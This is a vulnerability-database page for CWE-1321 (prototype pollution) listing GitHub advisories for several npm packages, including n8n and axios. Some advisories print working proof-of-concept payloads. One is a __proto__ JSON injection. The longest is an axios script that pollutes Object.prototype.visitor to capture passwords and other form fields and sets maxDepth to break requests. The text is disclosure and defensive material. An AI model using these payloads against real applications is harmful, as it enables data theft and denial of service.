CWE-1321
AllowedImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
928 vulnerabilities reference this CWE, most recent first.
GHSA-X3WR-V4WX-5QPC
Vulnerability from github – Published: 2021-06-21 17:14 – Updated: 2022-06-29 20:41Prototype pollution vulnerability in ‘expand-hash’ versions 0.1.0 through 1.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "expand-hash"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-25948"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-14T19:29:17Z",
"nvd_published_at": "2021-06-10T12:15:00Z",
"severity": "CRITICAL"
},
"details": "Prototype pollution vulnerability in \u2018expand-hash\u2019 versions 0.1.0 through 1.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.",
"id": "GHSA-x3wr-v4wx-5qpc",
"modified": "2022-06-29T20:41:54Z",
"published": "2021-06-21T17:14:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25948"
},
{
"type": "PACKAGE",
"url": "https://github.com/doowb/expand-hash"
},
{
"type": "WEB",
"url": "https://github.com/doowb/expand-hash/blob/556913f6c2f05848110b5b8261cfc78e5ce3dc77/index.js#L19"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25948"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution"
}
GHSA-X5M8-2R8V-8F97
Vulnerability from github – Published: 2022-03-18 00:01 – Updated: 2022-03-29 22:05The package libnested before 1.5.2 are vulnerable to Prototype Pollution via the set function in index.js. Note: This vulnerability derives from an incomplete fix for CVE-2020-28283
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "libnested"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25352"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-18T22:57:55Z",
"nvd_published_at": "2022-03-17T12:15:00Z",
"severity": "CRITICAL"
},
"details": "The package libnested before 1.5.2 are vulnerable to Prototype Pollution via the set function in index.js. **Note:** This vulnerability derives from an incomplete fix for [CVE-2020-28283](https://security.snyk.io/vuln/SNYK-JS-LIBNESTED-1054930)",
"id": "GHSA-x5m8-2r8v-8f97",
"modified": "2022-03-29T22:05:38Z",
"published": "2022-03-18T00:01:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25352"
},
{
"type": "WEB",
"url": "https://github.com/dominictarr/libnested/commit/c1129865d75fbe52b5a4f755ad3110ca5420f2e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/dominictarr/libnested"
},
{
"type": "WEB",
"url": "https://github.com/dominictarr/libnested/blob/master/index.js%23L22"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-LIBNESTED-2342117"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in libnested"
}
GHSA-X5R6-X823-9848
Vulnerability from github – Published: 2021-05-10 19:15 – Updated: 2023-09-05 22:44npm json-ptr before 2.1.0 has an arbitrary code execution vulnerability. The issue occurs in the set operation when the force flag is set to true. The function recursively set the property in the target object, however it does not properly check the key being set, leading to a prototype pollution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "json-ptr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7766"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-400",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-19T23:01:34Z",
"nvd_published_at": "2020-11-10T16:15:00Z",
"severity": "HIGH"
},
"details": "npm `json-ptr` before 2.1.0 has an arbitrary code execution vulnerability. The issue occurs in the [set operation](https://flitbit.github.io/json-ptr/classes/_src_pointer_.jsonpointer.htmlset) when the force flag is set to true. The function recursively set the property in the target object, however it does not properly check the key being set, leading to a prototype pollution.",
"id": "GHSA-x5r6-x823-9848",
"modified": "2023-09-05T22:44:45Z",
"published": "2021-05-10T19:15:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7766"
},
{
"type": "WEB",
"url": "https://github.com/418sec/json-ptr/pull/3"
},
{
"type": "WEB",
"url": "https://github.com/flitbit/json-ptr/commit/2539e3494c80af1eef24f0f433654a61f255f011"
},
{
"type": "WEB",
"url": "https://github.com/flitbit/json-ptr/blob/master/src/util.ts%23L174"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038396"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-JSONPTR-1016939"
},
{
"type": "WEB",
"url": "https://www.huntr.dev/bounties/2-npm-json-ptr"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/json-ptr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary Code Execution in json-ptr"
}
GHSA-X6HX-7GH3-3Q98
Vulnerability from github – Published: 2021-09-02 17:09 – Updated: 2021-08-25 18:25This affects all versions of package mootools. This is due to the ability to pass untrusted input to Object.merge()
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mootools"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23432"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-25T18:25:11Z",
"nvd_published_at": "2021-08-24T09:15:00Z",
"severity": "MODERATE"
},
"details": "This affects all versions of package mootools. This is due to the ability to pass untrusted input to Object.merge()",
"id": "GHSA-x6hx-7gh3-3q98",
"modified": "2021-08-25T18:25:11Z",
"published": "2021-09-02T17:09:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23432"
},
{
"type": "PACKAGE",
"url": "https://github.com/vsviridov/mootools-node"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-MOOTOOLS-1325536"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in mootools"
}
GHSA-X6P3-M6H9-FX7R
Vulnerability from github – Published: 2026-06-16 22:38 – Updated: 2026-07-20 13:39Impact
An authenticated user with permission to create or modify workflows could achieve global prototype pollution via the Microsoft SQL node by supplying a crafted value as the table parameter. This pollutes Object.prototype process-wide for the lifetime of the n8n server process, causing application-wide validation failures and rendering the n8n instance completely non-functional until restarted.
Patches
The issue has been fixed in n8n version 2.24.0. Users should upgrade to this version or later to remediate the vulnerability.
Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Limit workflow creation and editing permissions to fully trusted users only.
- Disable the Microsoft SQL node by adding n8n-nodes-base.microsoftSql to the NODES_EXCLUDE environment variable.
These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54312"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T22:38:52Z",
"nvd_published_at": "2026-06-23T16:17:02Z",
"severity": "HIGH"
},
"details": "## Impact\nAn authenticated user with permission to create or modify workflows could achieve global prototype pollution via the Microsoft SQL node by supplying a crafted value as the table parameter. This pollutes `Object.prototype` process-wide for the lifetime of the n8n server process, causing application-wide validation failures and rendering the n8n instance completely non-functional until restarted.\n\n## Patches\nThe issue has been fixed in n8n version 2.24.0. Users should upgrade to this version or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Disable the Microsoft SQL node by adding `n8n-nodes-base.microsoftSql` to the `NODES_EXCLUDE` environment variable.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
"id": "GHSA-x6p3-m6h9-fx7r",
"modified": "2026-07-20T13:39:38Z",
"published": "2026-06-16T22:38:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-x6p3-m6h9-fx7r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54312"
},
{
"type": "PACKAGE",
"url": "https://github.com/n8n-io/n8n"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "n8n: Microsoft SQL Node Prototype Pollution"
}
GHSA-X72J-HV9F-QQH4
Vulnerability from github – Published: 2026-05-07 18:30 – Updated: 2026-05-12 16:18npm package parse-ini v1.0.6 is vulnerable to Prototype Pollution in index.js().
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-ini"
},
"versions": [
"1.0.6"
]
}
],
"aliases": [
"CVE-2025-63703"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T16:18:45Z",
"nvd_published_at": "2026-05-07T16:16:17Z",
"severity": "CRITICAL"
},
"details": "npm package parse-ini v1.0.6 is vulnerable to Prototype Pollution in index.js().",
"id": "GHSA-x72j-hv9f-qqh4",
"modified": "2026-05-12T16:18:45Z",
"published": "2026-05-07T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63703"
},
{
"type": "WEB",
"url": "https://gist.github.com/6en6ar/bdc8e0d472406ab98431f10273cbdbf3"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/parse-ini?activeTab=code"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "parse-ini is vulnerable to Prototype Pollution in index.js()"
}
GHSA-X7J8-49R8-MR43
Vulnerability from github – Published: 2026-05-21 21:41 – Updated: 2026-05-21 21:41Summary
The _copyProps function in lib/src/object/copy.ts uses for...in to iterate over source object properties without an Object.hasOwnProperty check, and does not filter dangerous keys (proto, constructor, prototype). This allows an attacker to pollute the prototype chain of all objects in the application.
Details
In _copyProps() (copy.ts lines 186-191), the code iterates all enumerable properties including inherited ones and dangerous keys like proto. Any object with a proto key (e.g., from untrusted JSON input) will overwrite the target's prototype.
PoC
const malicious = JSON.parse('{"__proto__": {"polluted": true}}');
objDeepCopy(malicious);
console.log({}.polluted); // true
Suggested Fix
Add objHasOwnProperty check and filter proto, constructor, prototype keys.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.13.0"
},
"package": {
"ecosystem": "npm",
"name": "@nevware21/ts-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46681"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T21:41:36Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe _copyProps function in lib/src/object/copy.ts uses for...in to iterate over source object properties without an Object.hasOwnProperty check, and does not filter dangerous keys (__proto__, constructor, prototype). This allows an attacker to pollute the prototype chain of all objects in the application.\n\n## Details\n\nIn _copyProps() (copy.ts lines 186-191), the code iterates all enumerable properties including inherited ones and dangerous keys like __proto__. Any object with a __proto__ key (e.g., from untrusted JSON input) will overwrite the target\u0027s prototype.\n\n## PoC\n```\nconst malicious = JSON.parse(\u0027{\"__proto__\": {\"polluted\": true}}\u0027);\nobjDeepCopy(malicious);\nconsole.log({}.polluted); // true\n```\n## Suggested Fix\n\nAdd objHasOwnProperty check and filter __proto__, constructor, prototype keys.",
"id": "GHSA-x7j8-49r8-mr43",
"modified": "2026-05-21T21:41:36Z",
"published": "2026-05-21T21:41:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nevware21/ts-utils/security/advisories/GHSA-x7j8-49r8-mr43"
},
{
"type": "PACKAGE",
"url": "https://github.com/nevware21/ts-utils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "@nevware21/ts-utils: Prototype Pollution in objDeepCopy/objCopyProps via for...in without hasOwnProperty"
}
GHSA-X7Q7-FCHV-8H2J
Vulnerability from github – Published: 2026-05-14 20:55 – Updated: 2026-06-09 10:23Impact
Prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.2"
},
"package": {
"ecosystem": "npm",
"name": "@ranfdev/deepobj"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46509"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:55:24Z",
"nvd_published_at": "2026-05-28T19:16:39Z",
"severity": "HIGH"
},
"details": "### Impact\nPrototype pollution is possible when property paths contain `__proto__`/`constructor`/`prototype`. The property path must not be exposed as user input.",
"id": "GHSA-x7q7-fchv-8h2j",
"modified": "2026-06-09T10:23:26Z",
"published": "2026-05-14T20:55:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ranfdev/deepobj/security/advisories/GHSA-x7q7-fchv-8h2j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46509"
},
{
"type": "PACKAGE",
"url": "https://github.com/ranfdev/deepobj"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "@ranfdev/deepobj has a Prototype Pollution vulnerability"
}
GHSA-X97P-JQ2G-JP4F
Vulnerability from github – Published: 2026-09-30 15:02 – Updated: 2026-09-30 15:02Summary
Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.
Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.
Impact
The impact depends on which property is polluted and which axios serialization path the application uses.
Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERR_FORM_DATA_DEPTH_EXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.
Affected Functionality
Affected:
axios.toFormData().transformRequestpaths that serialize plain objects tomultipart/form-data.- URL-encoded form serialization paths that rely on the same helper.
formSerializeroption defaults when the relevant properties are absent as own properties.
Not affected:
- JSON request bodies.
- Requests that do not invoke
toFormData(). - Processes where
Object.prototypeis not polluted.
Technical Details
lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:
{
metaTokens: true,
dots: false,
indexes: false
}
That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:
const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;
These reads can resolve inherited polluted properties.
Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.
Proof of Concept of Attack
Constrained local demonstration:
Object.prototype.maxDepth = 1;
await axios.post(url, { a: { b: { c: 'value' } } }, {
headers: { 'Content-Type': 'multipart/form-data' }
});
Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERR_FORM_DATA_DEPTH_EXCEEDED.
For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.
Workarounds
Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.
Original report
### Summary _axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._ _The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._ ### Details #### Root Cause _The attack chain has three steps:_ _**Step 1: `formSerializer` is read safely, but `undefined` flows through**_ _In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_const formSerializer = own(this, 'formSerializer');
_When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_
return toFormData(data, _FormData && new _FormData(), formSerializer);
// ^^^^^^^^^^^^ undefined
_**Step 2: `toFlatObject` returns a plain-object default**_
_Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_
options = utils.toFlatObject(
options, // undefined
{ metaTokens: true, dots: false, indexes: false }, // plain object literal
false,
function defined(option, source) {
return !utils.isUndefined(source[option]);
}
);
_`toFlatObject` has an early-return for null/undefined sources:_
// lib/utils.js:607
if (sourceObj == null) return destObj;
_Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._
_**Step 3: Options are read without `hasOwnProp` guards**_
_The six option properties are read directly from the plain object:_
const metaTokens = options.metaTokens; // line 117
const visitor = options.visitor || defaultVisitor; // line 119
const dots = options.dots; // line 120
const indexes = options.indexes; // line 121
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122
const maxDepth = options.maxDepth === undefined // line 123
? DEFAULT_FORM_DATA_MAX_DEPTH
: options.maxDepth;
_None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._
#### Why the Existing Defenses Didn't Catch This
_axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._
### PoC
#### Reproduction Steps
#### Environment
_Any environment with Node.js and npm. Tested on:_
_- Node.js v24.15.0, npm 11.13.0_
_- axios v1.18.1 (latest release at time of writing)_
##### Step 1: Create a fresh project
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install axios@1.18.1
##### Step 2: Create the PoC file
_Create `poc.mjs` with the following content:_
import axios from 'axios';
import http from 'http';
// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
stolen.push({ key, value });
return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;
const server = http.createServer((req, res) => {
res.writeHead(200);
res.end('{}');
});
server.listen(0, '127.0.0.1', async () => {
const { port } = server.address();
try {
// Exfiltration: visitor intercepts all form fields
await axios.post(`http://127.0.0.1:${port}/`, {
username: 'john',
password: 'SuperSecret123!',
profile: { ssn: '123-45-6789' }
}, { headers: { 'Content-Type': 'multipart/form-data' } });
console.log('Stolen:', stolen);
// Stolen: [
// { key: 'username', value: 'john' },
// { key: 'password', value: 'SuperSecret123!' },
// { key: 'profile', value: { ssn: '123-45-6789' } },
// { key: 'ssn', value: '123-45-6789' }
// ]
// DoS: nested object rejected by polluted maxDepth
await axios.post(`http://127.0.0.1:${port}/`,
{ a: { b: { c: { d: 'value' } } } },
{ headers: { 'Content-Type': 'multipart/form-data' } }
);
// Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
// "Object is too deeply nested (3 levels). Max depth: 2"
} finally {
delete Object.prototype.visitor;
delete Object.prototype.maxDepth;
server.close();
}
});
##### Step 3: Run the PoC
node poc.mjs
### Impact
#### 1. Data Exfiltration via `visitor` (Confidentiality: High)
_A polluted `Object.prototype.visitor` function is called as the form data visitor:_
visitor.call(formData, el, key, path, exposedHelpers)
_The attacker receives:_
_- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_
_- **`key`** — the field name_
_- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_
_- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_
_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._
#### 2. Denial of Service via `maxDepth` (Availability: Low)
_A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._
#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low)
_Polluting these options changes the serialization format of form field names:_
_- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_
_- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_
_- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_
_The server may misinterpret the submitted form data, leading to silent data corruption._
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.28.0"
},
{
"fixed": "0.34.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.1"
},
{
"fixed": "1.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-101909"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T15:02:45Z",
"nvd_published_at": "2026-09-28T18:17:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAxios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.\n\nAxios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.\n\n## Impact\n\nThe impact depends on which property is polluted and which axios serialization path the application uses.\n\nPolluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.\n\n## Affected Functionality\n\nAffected:\n\n- `axios.toFormData()`.\n- `transformRequest` paths that serialize plain objects to `multipart/form-data`.\n- URL-encoded form serialization paths that rely on the same helper.\n- `formSerializer` option defaults when the relevant properties are absent as own properties.\n\nNot affected:\n\n- JSON request bodies.\n- Requests that do not invoke `toFormData()`.\n- Processes where `Object.prototype` is not polluted.\n\n## Technical Details\n\n`lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged:\n\n```js\n{\n metaTokens: true,\n dots: false,\n indexes: false\n}\n```\n\nThat default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly:\n\n```js\nconst metaTokens = options.metaTokens;\nconst visitor = options.visitor || defaultVisitor;\nconst dots = options.dots;\nconst indexes = options.indexes;\nconst _Blob = options.Blob || (typeof Blob !== \u0027undefined\u0027 \u0026\u0026 Blob);\nconst maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;\n```\n\nThese reads can resolve inherited polluted properties.\n\nLocal code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.maxDepth = 1;\n\nawait axios.post(url, { a: { b: { c: \u0027value\u0027 } } }, {\n headers: { \u0027Content-Type\u0027: \u0027multipart/form-data\u0027 }\n});\n```\n\nExpected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\nFor serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.\n\n## Workarounds\n\nAvoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`.\n\n\u003cdetails\u003e\n \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n\n### Summary\n_axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios\u0027 form serialization behavior._\n\n_The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._\n\n### Details\n#### Root Cause\n_The attack chain has three steps:_\n_**Step 1: `formSerializer` is read safely, but `undefined` flows through**_\n_In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_\n```js\nconst formSerializer = own(this, \u0027formSerializer\u0027);\n```\n_When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_\n```js\nreturn toFormData(data, _FormData \u0026\u0026 new _FormData(), formSerializer);\n// ^^^^^^^^^^^^ undefined\n```\n\n_**Step 2: `toFlatObject` returns a plain-object default**_\n_Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_\n```js\noptions = utils.toFlatObject(\n options, // undefined\n { metaTokens: true, dots: false, indexes: false }, // plain object literal\n false,\n function defined(option, source) {\n return !utils.isUndefined(source[option]);\n }\n);\n```\n_`toFlatObject` has an early-return for null/undefined sources:_\n\n```js\n// lib/utils.js:607\nif (sourceObj == null) return destObj;\n```\n_Since `options` is `undefined`, the function returns `destObj` unchanged \u2014 the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object\u0027s prototype is `Object.prototype`._\n\n_**Step 3: Options are read without `hasOwnProp` guards**_\n_The six option properties are read directly from the plain object:_\n```js\nconst metaTokens = options.metaTokens; // line 117\nconst visitor = options.visitor || defaultVisitor; // line 119\nconst dots = options.dots; // line 120\nconst indexes = options.indexes; // line 121\nconst _Blob = options.Blob || (typeof Blob !== \u0027undefined\u0027 \u0026\u0026 Blob); // line 122\nconst maxDepth = options.maxDepth === undefined // line 123\n ? DEFAULT_FORM_DATA_MAX_DEPTH\n : options.maxDepth;\n```\n_None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._\n\n#### Why the Existing Defenses Didn\u0027t Catch This\n_axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._\n\n### 